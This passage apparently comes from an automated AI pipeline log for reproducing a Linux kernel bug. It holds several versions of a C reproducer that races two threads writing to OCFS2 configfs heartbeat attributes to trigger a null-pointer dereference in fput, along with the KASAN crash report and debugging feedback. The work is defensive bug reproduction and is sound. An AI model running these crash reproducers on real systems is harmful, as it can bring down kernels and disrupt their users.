}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        perror(path);
        return -1;
    }
    if (write(fd, val, strlen(val)) < 0) {
        perror(path);
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    
    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```

191/5 2026/09/04 20:59 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 6228
							output: 1368
							thoughts: 2040
						

Thoughts:
**My Thought Process on Fixing the OCFS2 Reproducer**

Alright, diving into this OCFS2 reproducer, the primary goal is clear: address the feedback and ensure it reliably triggers the identified vulnerability. It's all about meticulous setup, and the feedback has been quite specific.

First and foremost, the feedback points out a critical flaw in the initialization order for the OCFS2 node configuration. The system calls that set up the node's parameters are out of sequence. It’s explicitly stated that `ipv4_address` must be written *before* `ipv4_port`, which must be before `num`, and finally `local` (set to 1). Looking at the original reproducer's `system()` calls, I can see exactly where this goes wrong:

```c
    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num"); // <<< This is too early
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
```

The fix is straightforward, just a reordering of these `system` calls to match the required sequence:

```c
    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address"); // <<< Correct order
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
```

The feedback also highlights a crucial aspect for triggering the failure path: the `block_bytes` value written to the configuration must deliberately differ from the actual logical block size of the underlying block device. The intention is to force a specific error condition (`sectsize != reg->hr_block_bytes`). This error should cause the threads to jump to the `out` label in the kernel code, which then executes the vulnerable `fput()` logic.

The original reproducer attempts this:

```c
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512; // Force it to be different
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);
```

This logic seems fundamentally correct. It gets the actual sector size and then calculates a `block_bytes` value that is guaranteed to be different (if the sector size is 512, it sets `block_bytes` to 1024, and vice-versa). The use of `system()` here is a bit fragile, as it relies on the directory already existing and the command succeeding. While the directory creation is handled earlier, I’d prefer a more robust approach. Using a dedicated `write_file` helper function, which I plan to implement, would be better. This allows for error checking and is generally cleaner than constructing shell commands with `sprintf` and `system`.

With these points in mind, I'm going to construct a clean C reproducer. This will involve:

1.  **Includes and Setup:** Bringing in all necessary headers (`race_toolkit.h` is assumed available and standard for these scenarios, along with others like `sys/stat.h`, `sys/ioctl.h`, `fcntl.h`, `pthread.h`, etc.). I'll also need to set up unbuffered I/O.
2.  **Initial Mount and Modprobe:** Ensuring the `configfs` is mounted and the `ocfs2_nodemanager` module is loaded.
3.  **Node Configuration:** This is where the corrected initialization order comes into play. I'll use the `write_file` helper to set `ipv4_address`, `ipv4_port`, `num`, and `local` in the specified sequence.
4.  **Heartbeat Region Setup:** Configuring the `blocks` and `start_block` for the heartbeat region.
5.  **Block Device Handling:** Opening a block device (e.g., `/dev/loop0` or `/dev/ram0`) to be used for the heartbeat region.
6.  **Forcing the `block_bytes` Mismatch:** Implementing the logic to determine the correct `block_bytes` value to force the failure, again using the `write_file` helper for robustness.
7.  **Race Condition Setup:** Opening the `dev` attribute for the heartbeat region *twice*. This is key to creating the race condition, as it gives each thread its own independent file descriptor and avoids potential mutex contention within the configfs layer itself.
8.  **Thread Creation:** Creating two threads that will concurrently write to these independent file descriptors. This is where the actual race will occur.
9.  **Execution and Timing:** Running the threads and using a timer to allow the race to manifest within a reasonable timeframe.

The core of the problem, as I understand it from the feedback, is the initialization order of the node attributes, and then the intentional mismatch of `block_bytes` to trigger a specific error path leading to the `fput()` vulnerability. By reordering the node attribute writes and ensuring the `block_bytes` mismatch is correctly implemented and robustly handled, the reproducer should now accurately reflect the described scenario. I’ll be sure to use the `write_file` helper for cleaner, more error-checked file operations.


192/3 2026/09/04 20:59 action merge-strategy
0m Results:
map[CurrentReproStrategy:An analysis of the feedback reveals that the previous reproduction attempt failed because the OCFS2 node configuration was not initialized in the correct order. 

Specifically, `o2nm_node_num_store()` requires `ipv4_address` and `ipv4_port` to be set *before* `num` can be written. Because the previous reproducer wrote `num` first, it failed, which subsequently caused the write to `local` to fail. As a result, `o2nm_this_node()` returned `O2NM_MAX_NODES`, causing `o2hb_region_dev_store()` to return `-EINVAL` early and completely bypass the vulnerable code.

To fix this, we simply need to reorder the initialization sequence: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local`. We will also use a robust `write_file` helper to ensure the writes succeed and to catch any potential errors.

Here is the updated C reproducer:

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        perror(path);
        return -1;
    }
    if (write(fd, val, strlen(val)) < 0) {
        perror(path);
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    
    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```]

193/3 2026/09/04 20:59 agent repro-generator
0m Model:
deep-reasoning

Results:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

Strategy: An analysis of the feedback reveals that the previous reproduction attempt failed because the OCFS2 node configuration was not initialized in the correct order. 

Specifically, `o2nm_node_num_store()` requires `ipv4_address` and `ipv4_port` to be set *before* `num` can be written. Because the previous reproducer wrote `num` first, it failed, which subsequently caused the write to `local` to fail. As a result, `o2nm_this_node()` returned `O2NM_MAX_NODES`, causing `o2hb_region_dev_store()` to return `-EINVAL` early and completely bypass the vulnerable code.

To fix this, we simply need to reorder the initialization sequence: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local`. We will also use a robust `write_file` helper to ensure the writes succeed and to catch any potential errors.

Here is the updated C reproducer:

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        perror(path);
        return -1;
    }
    if (write(fd, val, strlen(val)) < 0) {
        perror(path);
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    
    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```


Previous Reproducer Attempt:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}



Execution Results & Debugging Feedback:
The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.

From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```

The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
	if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
	    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
		return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.

When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.

The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
